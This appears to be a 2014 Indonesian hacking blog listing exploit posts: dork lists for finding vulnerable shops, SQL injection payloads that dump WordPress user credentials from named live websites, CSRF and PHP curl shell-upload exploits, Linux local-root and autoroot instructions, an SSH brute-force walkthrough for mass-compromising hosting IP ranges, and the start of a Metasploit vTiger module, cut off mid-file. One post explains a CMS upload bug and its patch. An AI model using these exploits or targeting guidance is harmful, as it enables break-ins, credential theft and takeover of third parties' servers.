Showing posts with label Exploit. Show all posts
Showing posts with label Exploit. Show all posts

Friday, March 7, 2014

CSRF For Exploit WP-Store (Forbidden Upload)

CSRF For Exploit WP-Store (Forbidden Upload)


Masih sama dengan exploit sebelumnya..Tapi kali ini jika menemui website yang tidak mengijinkan orang lain untuk mengupload sesuatu ke dalam websitenya..

dork : inurl:/wp-content/themes/WPstore/ (WPstore bisa di ganti pilihan di bawah ini/kembangkan sendiri dorknya)
kita dapat meng-upload backdoor dengan vulnerability ini:
1. WPStore
2. eShop
3. KidzStore
4. Emporium
5. Store
klo udah dpet target, kita tambah /UPLOAD shell di target tersebut...

http://www.target.com/wp-content/themes/Wpstore/upload (ternyata forbidden!!)


Eiiittts tenang om,bukan Praz ganteng klo gak bisa soal ginian wkwkwkk problem?

Solusinya klinik tong fang :D
Pertama, download ini > DOWNLOAD

1. Disini aku beranggapan bahwa kamu sudah punya target yang forbidden..
2. Buka downloadan tadi dengan notepad ++
3. Edit hasil download-an tadi, ganti URL yang saya tandai dengan URL website yang forbidden tadi..

4. Simpan dalam ekstensi .html
5. Buka, lalu pilih file yang mau di upload. Selesai..
Untuk akses shell disini : http://www.target.com/wp-content/uploads/products_img/namashell.php

Dork Crading 2014

###############################################
•
•TITLE : Dork Crading 2014
•OKA DE CRAZY HACK = ./MR.F4WK3S
•INDONESIAN SECURITY TESTER
•
###############################################

inurl:".php?cat="+intext:"Paypal"+site:UK
inurl:productlist.php?cid=
inurl:".php?cat="+intext:"/Buy Now/"+site:.net
nurl:".php?cid="+intext:"online+betting"
inurl:".php?id=" intext:"View cart"
inurl:".php?id=" intext:"Buy Now"
inurl:".php?id=" intext:"add to cart"
inurl:".php?id=" intext:"shopping"
inurl:".php?id=" intext:"boutique"
inurl:".php?id=" intext:"/store/"
inurl:".php?id=" intext:"/shop/"
inurl:".php?id=" intext:"toys"
inurl:".php?cid="
inurl:".php?cid=" intext:"shopping"
inurl:".php?cid=" intext:"add to cart"
inurl:".php?cid=" intext:"Buy Now"
inurl:".php?cid=" intext:"View cart"
inurl:".php?cid=" intext:"boutique"
inurl:".php?cid=" intext:"/store/"
inurl:".php?cid=" intext:"/shop/"
inurl:".php?cid=" intext:"Toys"
inurl:".php?cat="
inurl:".php?cat=" intext:"shopping"
inurl:".php?cat=" intext:"add to cart"
inurl:".php?cat=" intext:"Buy Now"
inurl:".php?cat=" intext:"View cart"
inurl:".php?cat=" intext:"boutique"
inurl:".php?cat=" intext:"/store/"
inurl:".php?cat=" intext:"/shop/"
inurl:".php?cat=" intext:"Toys"
inurl:".php?catid="
inurl:".php?catid=" intext:"View cart"
inurl:".php?catid=" intext:"Buy Now"
inurl:".php?catid=" intext:"add to cart"
inurl:".php?catid=" intext:"shopping"
inurl:".php?catid=" intext:"boutique"
inurl:".php?catid=" intext:"/store/"
inurl:".php?catid=" intext:"/shop/"
inurl:".php?catid=" intext:"Toys"
inurl:".php?categoryid="
inurl:".php?categoryid=" intext:"View cart"
inurl:".php?categoryid=" intext:"Buy Now"
inurl:".php?categoryid=" intext:"add to cart"
inurl:".php?categoryid=" intext:"shopping"
inurl:".php?categoryid=" intext:"boutique"
inurl:".php?categoryid=" intext:"/store/"
inurl:".php?categoryid=" intext:"/shop/"
inurl:".php?categoryid=" intext:"Toys"
inurl:".php?pid="
inurl:".php?pid=" intext:"shopping"
inurl:".php?pid=" intext:"add to cart"
inurl:".php?pid=" intext:"Buy Now"
inurl:".php?pid=" intext:"View cart"
inurl:".php?pid=" intext:"boutique"
inurl:".php?pid=" intext:"/store/"
inurl:".php?pid=" intext:"/shop/"
inurl:".php?pid=" intext:"toys"
inurl:".php?prodid=
inurl:".php?prodid=" intext:"shopping"
inurl:".php?prodid=" intext:"add to cart"
inurl:".php?prodid=" intext:"Buy Now"
inurl:".php?prodid=" intext:"View cart"
inurl:".php?prodid=" intext:"boutique"
inurl:".php?prodid=" intext:"/store/"
inurl:".php?prodid=" intext:"/shop/"
inurl:".php?prodid=" intext:"toys"
inurl:".php?productid='
inurl:".php?productid=" intext:"shopping"
inurl:".php?productid=" intext:"add to cart"
inurl:".php?productid=" intext:"Buy Now"
inurl:".php?productid=" intext:"View cart"
inurl:".php?productid=" intext:"boutique"
inurl:".php?productid=" intext:"/store/"
inurl:".php?productid=" intext:"/shop/"
inurl:".php?productid=" intext:"Toys"
inurl:".php?product="
inurl:".php?product=" intext:"shopping"
inurl:".php?product=" intext:"add to cart"
inurl:".php?product=" intext:"Buy Now"
inurl:".php?product=" intext:"View cart"
inurl:".php?product=" intext:"boutique"
inurl:".php?product=" intext:"/store/"
inurl:".php?product=" intext:"/shop/"
inurl:".php?product=" intext:"toys"
inurl:".php?product=" intext:"DVD"
inurl:".php?products="
inurl:".php?products=" intext:"shopping"
inurl:".php?products=" intext:"add to cart"
inurl:".php?products=" intext:"Buy Now"
inurl:".php?products=" intext:"View cart"
inurl:".php?products=" intext:"boutique"
inurl:".php?products=" intext:"/store/"
inurl:".php?products=" intext:"/shop/"
inurl:".php?products=" intext:"toys"
inurl:".php?products=" intext:"DVD"
inurl:".php?proid="
inurl:".php?proid=" intext:"shopping"
inurl:".php?proid=" intext:"add to cart"
inurl:".php?proid=" intext:"Buy Now"
inurl:".php?proid=" intext:"View cart"
inurl:".php?proid=" intext:"boutique"
inurl:".php?proid=" intext:"/store/"
inurl:".php?proid=" intext:"/shop/"
inurl:".php?proid=" intext:"toys"
inurl:".php?shopid="
inurl:".php?shopid=" intext:"shopping"
inurl:".php?shopid=" intext:"add to cart"
inurl:".php?shopid=" intext:"Buy Now"
inurl:".php?shopid=" intext:"View cart"
inurl:".php?shopid=" intext:"boutique"
inurl:".php?shopid=" intext:"/store/"
inurl:".php?shopid=" intext:"/shop/"
inurl:".php?shopid=" intext:"Toys"
inurl:".php?itemid="
inurl:".php?itemid=" intext:"shopping"
inurl:".php?itemid=" intext:"add to cart"
inurl:".php?itemid=" intext:"Buy Now"
inurl:".php?itemid=" intext:"View cart"
inurl:".php?itemid=" intext:"boutique"
inurl:".php?itemid=" intext:"/shop/"
inurl:".php?itemid=" intext:"/store/"
inurl:".php?itemid=" intext:"Toys"
inurl:".php?orderid="
inurl:".php?orderid=" intext:"shopping"
inurl:".php?orderid=" intext:"add to cart"
inurl:".php?orderid=" intext:"Buy Now"
inurl:".php?orderid=" intext:"View cart"
inurl:".php?orderid=" intext:"boutique"
inurl:".php?orderid=" intext:"/shop/"
inurl:".php?orderid=" intext:"/store/"
inurl:".php?orderid=" intext:"Toys"
inurl:".php?catalogId="
inurl:".php?catalogId=" intext:"shopping"
inurl:".php?catalogId=" intext:"add to cart"
inurl:".php?catalogId=" intext:"Buy Now"
inurl:".php?catalogId=" intext:"View cart"
inurl:".php?catalogId=" intext:"boutique"
inurl:".php?catalogId=" intext:"/shop/"
inurl:".php?catalogId=" intext:"/store/"
inurl:".php?catalogId=" intext:"Toys"
inurl:".php?aid="
inurl:".php?aid=" intext:"shopping"
inurl:".php?aid=" intext:"add to cart"
inurl:".php?aid=" intext:"Buy Now"
inurl:".php?aid=" intext:"View cart"
inurl:".php?aid=" intext:"boutique"
inurl:".php?aid=" intext:"/shop/"
inurl:".php?aid=" intext:"/store/"
inurl:".php?aid=" intext:"toys"
inurl:".php?artid="
inurl:".php?artid=" intext:"shopping"
inurl:".php?artid=" intext:"add to cart"
inurl:".php?artid=" intext:"Buy Now"
inurl:".php?artid=" intext:"View cart"
inurl:".php?artid=" intext:"boutique"
inurl:".php?artid=" intext:"/shop/"
inurl:".php?artid=" intext:"/store/"
inurl:".php?artid=" intext:"toys"
inurl:".php?articleid="
inurl:".php?articleid=" intext:"shopping"
inurl:".php?articleid=" intext:"add to cart"
inurl:".php?articleid=" intext:"Buy Now"
inurl:".php?articleid=" intext:"View cart"
inurl:".php?articleid=" intext:"boutique"
inurl:".php?articleid=" intext:"/shop/"
inurl:".php?articleid=" intext:"/store/"
inurl:".php?articleid=" intext:"toys"

Wednesday, March 5, 2014

Wordpress EEMP plugin SQL Injection Vulnerability

Wordpress EEMP plugin SQL Injection Vulnerability

# Exploit Title -> WordPress EEMP plugin SQL Injection Vulnerability
# Category  -> WebApps
# Google Dork -> inurl:"/wp-content/plugins/EEMP/"
# Platform -> PHP
# Version -> All Versions Infected
# Security Risk -> High 

[~] Vulnerability Description  
[~] Exploit
[~] Real.Demo
[~] Vulnerability Description [~] :
===========================
You can inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database.
Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password.
With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else.
 
[~] P0c [~] :
============
Vuln file in :
http://Localhost/{Path}/wp-content/plugins/EEMP/EEMP.php?EEMPid=[Number]  <<-----|

[~] Exploit [~] :
=========
http://3plshow.com.au/Melbourne/wp-content/plugins/EEMP/EEMP.php?EEMPid=-1/*!UnIOn*/+all+/*!SELeCt*/1,2,/*!cOnCat(user_login,0x3a,user_pass)*/,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+wp_users--+MCS
  
[~] D3m0 [~] :
=============
[#] http://3plshow.com.au/Melbourne/wp-content/plugins/EEMP/EEMP.php?EEMPid=1[Inj3ct Here]

[#] http://giftfairevents.com.au/wp-content/plugins/EEMP/EEMP.php?EEMPid=1[Inj3ct Here]

[#] http://www.odma-2013.com.au/wp-content/plugins/EEMP/EEMP.php?EEMPid=1[Inj3ct Here]
=================================

./McS

Linux Kernel 3.4-2013 LocalRoot Exploit

Linux Kernel 3.4-2013 LocalRoot Exploit

Hello Guys Assalam -O- Alaikum, SK8 here.
Today There Is a Good News For You All.....i.e....... Linux Local root 3.4-2013 Is Out.

As we all Know That We can Root Servers only Till June 2013 i.e 2.6.18-2013 and 2.6.32-2013 With Local root Exploit , But what if Server is Updated till 3.4-2013 i.e December 2013 .......Unfortunately We cant Root it.

So Finally Today, 3.4- 2013 Local root Is also Out :D.


So here Is how to use Local Root 3.4-2013

# Back-Connect With Netcat.
# Create A tmp Dir on Your Shelled Server And Chmod it to 777
# Upload Local root ( You Download Above  i.e recvmmsg.c) in tmp folder
# Chmod 777 to recvmmsg.c
# Compile It : gcc recvmmsg.c -o recvmmsg
# Again chmod 777 to recvmmsg
# Finally run it : ./recvmmsg

Now wait for few Minutes, then type id;whoami and You Got Root :D :P

EnjoY / Regards SK8 .

Linux AutoRoot

Linux AutoRoot

Hello Guys AsSalam -O-Alaikum, SK8 here.
So Here Iam Sharing Linux Auto rooter with you all, Coded By  xtoker .

This Auto Rooter Is Updated Till 2014 Local root Exploits, Developed in Python Language

AutoRooter


You can get the Auto rooter From the Above Link.
After uploading, Change the file permissions (chmod) to 755,
Finally Run the Exploit i.e python autoroot.py

Regards :\

Exploiting VPS / Dedicated Server by Scan SSH Exploit

Exploiting VPS / Dedicated Server by Scan SSH Exploit

Hy McS Lovers, SK8 a.k.a Shockwave Khan (Manager at Team Muslim Cyber Sh3ll'z) Here.
Today I will show you How you can Exploit VPS (Virtual Private Server) and Dedicated Server By Scan SSH Exploit.

Requirements :
[#] Any Linux Distro ( Backtrack Or Kali Recommended)
[#] Common Sense :p

Step 1:
Download UnixCod

Step 2:
Now run this command in your Terminal, to unarchive the .tar
Code : tar -zxvf unixcod.tar.gz

Step 3:
Now switch to the unixcod directory
Code : cd unixcod

Step 4:
Grant all privileges to all files in it.
Code : chmod 777 *

Step 5:
Alright, now it’s time to get some IP ranges.
Now type
Code : https://ipdb.at/org/ORGANIZATION_HERE‎
into your browser and replace “ORGANIZATION_HERE” with the name of a hosting company. You’re going to get the hosting company’s IP ranges, and scan them.

For example, if I wanted to get Ecatel’s IP range I would do:
Code : https://ipdb.at/org/softlayer

Write down some of the “class B” IP addresses you see.
For example, the “class B” IP address of 123.456.789.012 would be 123.456 (the first two octals).

Step 6:
Now it’s time to start Exploiting the servers, run the following command:
PHP Code:
Code : ./unix <class B IP here>

Replace “<class B IP here>” with the “class B” IP address we got before.

Example : ./unix 108.168 ( Or Simply Copy Paste In Your Terminal)

Now, just wait until the scan finishes. It will scan the entire IP range, and SSH brute force the servers.

When you successfully Exploit a server, it will tell you the host, username, and password of the server. Keep doing this to as many IP ranges as you can, and you will Exploit a bunch of VPS/dedicated servers.

Regards SK8.

UAEPD Shopping Cart Script Sql Injection Vulnerabilty

UAEPD Shopping Cart Script Sql Injection Vulnerabilty

####################################################################
[~] Script : http://www.uaepd.net/
[~] Dork :
[1] inurl:”products.php?cat_id=” “Powered by: PD ”

[2] inurl:”products.php?p_id” “Powered by: PD ”

[3] inurl:”page.php?id=” “Powered by: PD ”

[4] inurl:”news.php?id=” “Powered by: PD ”
####################################################################

[~] INTORUCTION [~]

Uaepd Script is arabic Shopping Cart Script and have many Features.

[~] DESCRIPTION
[~]
# Control Panel provides an Arabic or English.
# View the store for the visitor in Arabic and English.
# Possibility to choose one language or operating languages.
# The ability to add unlimited number of pages.
# Format property provides all store pages.
# Add YouTube links and images in all the pages of the store.
# The ability to add sections of main and sub.
# Add an unlimited number of products.
# Add multiple images of the products.
# Availability of property sizes and colors for each product.
# Print logo on the product images automatically.
# Availability of property with a shipping price for each region.
# Buy products shopping cart system.
# You can ask system of members with or without system.
# Three ways to pay:(bank transfer-Receipt & received-Paypal).
# Send an e-mail automatically to any purchase or booking.
# Provide a search feature in the products.
# Availability of the currencies of the property.
# Comprehensive statistics for the purchases and reservations.
# Guestbook available partition.
# Provide property advertising space multiple places.
# Property provides the tape device.
# Offers the possibility to close or open the store.

[~] BUG TYPE
[~]

Sql injection (command double query)



[~]
BUG
[~]

[#] site/products.php?cat_id=[sql injection]

[#]
site/products.php?p_id=[sql injection]

[#]
site/page.php?id=[sql injection]

[#]
site/news.php?id=[sql injection]



[~]
EXPLOIT
[~]

TO EXTRACT VERSION & NAME & USER DATABASE:

[#] site/products.php?cat_id=99999+and (select 1 from (select count(*),concat((select(select concat(cast(concat(database(),0x3a,version(),0x3a,user()) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

[#] site/products.php?p_id=99999+and (select 1 from (select count(*),concat((select(select concat(cast(concat(database(),0x3a,version(),0x3a,user()) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

[#] site/page.php?id=99999+and (select 1 from (select count(*),concat((select(select concat(cast(concat(database(),0x3a,version(),0x3a,user()) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1

[#] site/news.php?id=99999+and (select 1 from (select count(*),concat((select(select concat(cast(concat(database(),0x3a,version(),0x3a,user()) as char),0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1



[~]
DEMOS
[~]

[#]
http://sedenshop.com/products.php?p_id=3

[#]
http://www.henna.ae/products.php?cat_id=1

[#]
http://www.shah-een.com/news.php?id=1

[#]
http://www.nourita.com/products.php?cat_id=4


./McS

Monday, March 3, 2014

WordPress thecotton Themes Remote File Upload Vulnerability

WordPress thecotton Themes Remote File Upload Vulnerability 2014-03-01 16:06:23
Posted by: irist.ir

#################################
#
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@ @@@ @@@
#
#####################################

# Exploit Title : WordPress thecotton Themes Remote File Upload Vulnerability

# Author : Iranian Exploit DataBase

# Discovered By : IeDb

# Email : iedb.team@gmail.com - o0_shabgard_0o@yahoo.com

# Home : Www.IeDb.Ir/acc - Www.IrIsT.Ir

# Fb Page : https://www.facebook.com/iedb.ir

# Version : 1.14

# Security Risk : Low

# Google dork: inurl:/wp-content/themes/thecotton_v114/

#################################

# Exploit

<?php
$uploadfile="IeDb.php";
$ch = curl_init("http://127.0.0.1/wp-content/themes/thecotton_v114/lib/utils/upload-handler.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('orange_themes'=>"@$uploadfile")); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch); print "$postResult";
?>

http://127.0.0.1/wordpress/wp-content/uploads/2014/2/upload.php

# Demo :

http://www.centronavarro.org/wp-content/themes/thecotton_v114/lib/utils/upload-handler.php
http://www.rsvphingham.com/wp/wp-content/themes/thecotton_v114/lib/utils/upload-handler.php
http://serdara.com/wp-content/themes/thecotton_v114/lib/utils/upload-handler.php

#################################

# Greats : Medrik - Bl4ck M4n - ErfanMs - TaK.FaNaR - F@riD - N20 - Bl4ck N3T - 0x0ptim0us - 0Day

# E2MA3N - l4tr0d3ctism - H-SK33PY - sole sad - r3d_s0urc3 - Dr_Evil - z3r0 - Mr.Zer0 - one alone hacker

# DICTATOR - dr.koderz - E1.Coders - Security - ARTA - ARYABOD - Behnam Vanda - C0dex - Dj.TiniVini

# Det3cT0r - yashar shahinzadeh And All Members In IeDb.Ir/acc

#################################

# Tnx To : All Member In Iedb.ir/acc & Iranian Hackers

#################################

# Exploit Archive = http://www.iedb.ir/exploits-1451.html

#################################

Tuesday, January 28, 2014

TUTORIAL UPLOAD SHELL CMS BALITBANG STEP BY STEP NGGARAI STEP


1. harus punya akses admin (entah itu dari minta2, jumpingan, sql, dsj)

2. masuk page admin


3. nah langsung aj login... ini tampilan page adminnya...


4. setelah muter2 nyari kesana kesini akhirnya nemu page upload nih.... langsung aj tambah materi uji...


5. kebetulan disitu ada tulisan format file bebas Big Grin.. upload langsung ae lah...


6. nah... udah masuk kan file nya.... Big Grin tapi masih harus nyari dimana lokasi file nya....


7. langsung menuju TKP


8. lha mati kon... keluarnya kok malah download.... -_- suram.....


9. tk cobak download malah eror... -_-


10. tapi jgn sedih dulu.... setelah sy pelajari CMS tersebut eh ketemu akar permasalahannya... Smile


Expoit Bug CMS Balitbang

Bugs ini mungkin sudah lama sekali tetapi tidak ada salahnya untuk membahas bagaimana bugs ini bisa terjadi, bugs ini terjadi dikarenakan kecerobohan dalam coding sehingga menimbulkan bugs yang sangat fatal sekali, kenapa saya sebut fatal sekali? ya karena bugs ini dapat langsung meng-upload file termasuk file eksensi .php sehingga para peretas pasti memanfaatkan bugs ini untuk mengupload sebuah php shell untuk mendapatkan access.

Mari kita bahas, kita lihat source code pada file functions/editfile.php sebelum di patch


<?php

 if ($_POST["save"]) { 
  $dwrite = fopen("../modul/".$_POST['nmfile']., "w");
  fwrite($dwrite, $_POST["nfile"]); 
  fclose ($dwrite);
  echo "File sudah disimpan....Silahkan tutup jendela ini";
  //header("Location: ../admin/admin.php?mode=konf&kd=berhasil");
 }
 else {
   $dread = file("../modul/tag_".$file.".php");
 for ($i=0; $i <= count($dread); $i++) {
  $output .= $dread[$i];
 }
 echo "<form action='editfile.php' method=post>File Name : <input type=text name=nmfile value='tag_".$file.".php'> Jarngan diganti<br><textarea name=nfile cols=80 rows=20>$output</textarea><br><input type=hidden name=file value='$file' >
 <input type=submit value='Simpan' ><input type=hidden name='save' value='simpan' ></form>";
 
 }
 ?>


Lalu apakah ada yang salah pada code tersebut? yap ada, file ini memungkinkan untuk meng-upload suatu file langsung bahkan file .php pun bisa langsung di upload tanpa harus login terlebih dahulu.

Nah untuk itu sisipkan code fungsi untuk memvalidasi session admin sebelum mengakses fungsi utama dari file ini. (sisipkan setelah <?php)

session_start();
if (!isset($_SESSION['Admin'])) {
    echo "patched!.";
    exit;
}

Dengan kode tersebut maka sekarang bugs tersebut sudah ter-amankan. Cara ini juga bisa dilakukan pada semua file yang tidak memiliki validasi, nanti kita bahas bugs selanjutnya pada CMS balitbang ini, see you!

Wordpress Plugin Sexy Add Template - CSRF Upload Shell Vulnerability

Titre du matériel: Wordpress Plugin Sexy Add Template - CSRF Upload Shell Vulnerability
Catégorie: web applications
Plateforme: php


 1=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
 0          _                   __           __       __                         1
 1        /' \            __  /'__`\        /\ \__  /'__`\                       0
 0       /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___               1
 1       \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\              0
 0          \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/               1
 1           \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\               0
 0            \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/               1
 1                       \ \____/ >> Exploit database separated by exploit       0
 0                        \/___/          type (local, remote, DoS, etc.)        1
 1                                                                               0
 0       [x] Official Website: http://www.1337day.com                            1
 1       [x] Support E-mail  : mr.inj3ct0r[at]gmail[dot]com                      0
 0                                                                               1
 1                  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                   0
 0                  I'm NuxbieCyber Member From Inj3ct0r TEAM                    1
 1                  $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$                   0
 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 |||   Wordpress Plugin Sexy Add Template - CSRF Upload Shell Vulnerability    |||
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 ./Title Exploit : Wordpress Plugin Sexy Add Template - CSRF Upload Shell Vulnerability
 ./Link Download : http://wordpress.org/extend/plugins/sexy-add-template/
 ./Author Exploit: [ TheCyberNuxbie ] [ root@31337sec.com ] [ nux_exploit ]
 ./Security Risk : [ Critical Level ]
 ./Category XPL  : [ WebApps/ZeroDay ]
 ./Tested On     : Mozilla Firefox + Xampp + Windows 7 Ultimate x32 ID
 ./Time & Date   : September, 22 2012. 10:27 AM. Jakarta, Indonesia.
 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
 |||                        -=[ Use It At Your Risk ]=-                        |||
 |||               This Was Written For Educational Purpos Only                |||
 |||               Author Will Be Not Responsible For Any Damage               |||
 xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

 #################################################################################
 #
 # [ Information Details ]
 # - Wordpress Plugin Sexy Add Template:
 # Attacker allow CSRF Upload Shell.
 # http://localhost/wp-admin/themes.php?page=AM-sexy-handle <--- Vuln CSRF, not require verification CODE "wpnonce".
 #
 # <html>
 # <head>
 # <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
 # <title>Wordpress Plugin Sexy Add Template - CSRF Upload Shell Vulnerability</title>
 # </head>
 # <body onload="document.form0.submit();">
 # <form method="POST" name="form0" action="http://localhost/wp-admin/themes.php?page=AM-sexy-handle" method="post" enctype="multipart/form-data" >
 # <input type="hidden" name="newfile" value="yes" />
 # <input type="hidden" type="text" value="shell.php" name="AM_filename">
 # <textarea type="hidden" name="AM_file_content">
 # [ Your Script Backdoor/Shell ]
 # </textarea>
 # </form>
 # </body>
 # </html>
 #
 # - Access Shell:
 # http://localhost/wp-content/themes/[theme-name]/shell.php <--- HACKED...!!!
 #
 # +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 #
 # - Special Thanks:
 # ...:::' 1337day - Inj3ct0r TEAM ':::...
 # BoSs r0073r & All 31337 Member Inj3ct0r TEAM,,,
 # , And All Inj3ct0r Fans & All Hacktivist,,,
 #
 # xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx[ Thanks For All ]xxxxxxxxxxxxxxxxxxxxxxxxxxxxx #
 # [ Inj3ct0r | PacketStromSecurity | Exploit-ID | Devilzc0de | SekuritiOnline ] #
 # [ Codenesia | ID-BackTrack | IndonesianCoder | IndonesianHacker | JatimCrew ] #
 # [ E-C-H-O | ExploreCrew | Hacker-Newbie | Jasakom | YogyaCarderLink ./etc.. ] #
 # -------------------[ We Are c0d3rs And We Are An Exploit ]------------------- #
 # [ r0073r, Sid3^effects, r4dc0re, CrosS, SeeMe, indoushka, KnocKout, ZoRLu   ] #
 # [ anT!-Tr0J4n, KedAns-Dz, Kalashinkov3, Angel Injection, Sammy FORGIT, NoGe ] #
 # [ cr4wl3r, n0n0x, cyberlog, eidelweiss, v3n0m, g3mb3lz_YCL, Hmei7, kaMtiEz  ] #
 # [ y3dips, K-159, the_day, k1tk4t, mywisdom, Flyff666, ketek_b374k, Elmonny  ] #
 # [ jos_ali_joe, vYc0d, Cyberbag0r, SeekerUnZero, Dencowbie, Alex_Maxsum41    ] #
 # [ Teh Nofia, Teh Mawar, Teh Zuzzeta, Teh AfniGates, Chibie Reanaey ,etc...  ] #
 #################################################################################



# 1337day.com @ http://1337day.com/

Joomla COM_MEDIA Exploit

Example Sites:
Dork 1: inurl:index.php?option=com_media& site:com
Dork 2: inurl:index2.php?option=com_media& site:net 
Dork 3: inurl:option=com_media 
Exploit: /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=
Video:

Cubic CMS - Multiple Vulnerabilities

Cubic CMS - Multiple Vulnerabilities 2014-01-07 20:05:07

I. BACKGROUND
-------------------------
"CUBIC CMS" is a non-free content management system for websites and
portals of any size, powerful, adaptable to any graphic design that
allows users administration 100% professional but simple at the same
time that website.

II. VULNERABILITIES
-------------------------

II.i FULL PATH DISCLOSURE
-------------------------
CUBIC CMS presents a full path disclosure in the 'Controller Not Found'
exception management, due to an incorrect 'Software Exception' management.

Syntax:
http://www.example.com/id/-22
http://www.example.com/foo.bar

II.ii SQL Injection
-------------------------
CUBIC CMS presents a SQL Injection in its 'resource_id' and 'version_id' parameters
on his '/recursos/agent.php' (Resources Management Module) script via GET HTTP
Method, due to an insufficient sanitization on user supplied data.

Syntax:
http://www.example.com/recursos/agent.php?resource_id=-11 OR 'foobar' UNION SELECT user()-- -
http://www.example.com/recursos/agent.php?version_id=-22 OR '' UNION SELECT @@version-- -

II.iii SQL Injection
-------------------------
CUBIC CMS presents a SQL Injection in its 'login' and 'pass' parameters on his
'/login.usuario' (Users Management Module) script via POST HTTP Method, due to an
insufficient sanitization on user supplied data.

Syntax:
login=Administrator&pass=foobar') or ('1'='1

II.iv Local File Inclusion
-------------------------
CUBIC CMS presents a SQL Injection in its 'path' parameter on his
'/recursos/agent.php' (Resources Management Module) script via GET HTTP Method,
due to an insufficient sanitization on user supplied data.

Syntax:
http://www.example.com/recursos/agent.php?path=/../../application/config/project.ini

IV. REFERENCES
-------------------------
http://www.proyectosbds.com
http://www.cubicfactory.com/

V. DISCLOSURE TIMELINE
-------------------------
- March 28, 2012: First Vendor Contact.
- Dec 30, 2013: Second Vendor Contact (Still waiting for responses).

VI. CREDITS
-------------------------
This vulnerability has been discovered
by Eugenio Delfa <ed (at) isbox (dot) org>.

vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload

vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload 2014-01-07 20:05:07

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rexml/document'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include REXML
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'vTiger CRM SOAP AddEmailAttachment Arbitrary File Upload',
'Description' => %q{
vTiger CRM allows an user to bypass authentication when requesting SOAP services.
In addition, arbitrary file upload is possible through the AddEmailAttachment SOAP
service. By combining both vulnerabilities an attacker can upload and execute PHP
code. This module has been tested successfully on vTiger CRM v5.4.0 over Ubuntu
10.04 and Windows 2003 SP2.
},
'Author' =>
[
'Egidio Romano', # Vulnerability discovery
'juan vazquez' # msf module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-3214' ],
[ 'CVE', '2013-3215' ],
[ 'OSVDB', '95902' ],
[ 'OSVDB', '95903' ],
[ 'BID', '61558' ],
[ 'BID', '61559' ],
[ 'EDB', '27279' ],
[ 'URL', 'http://karmainsecurity.com/KIS-2013-07' ],
[ 'URL', 'http://karmainsecurity.com/KIS-2013-08' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
# Arbitrary big number. The payload is sent base64 encoded
# into a POST SOAP request
'Space' => 262144, # 256k
'DisableNops' => true
},
'Targets' =>
[
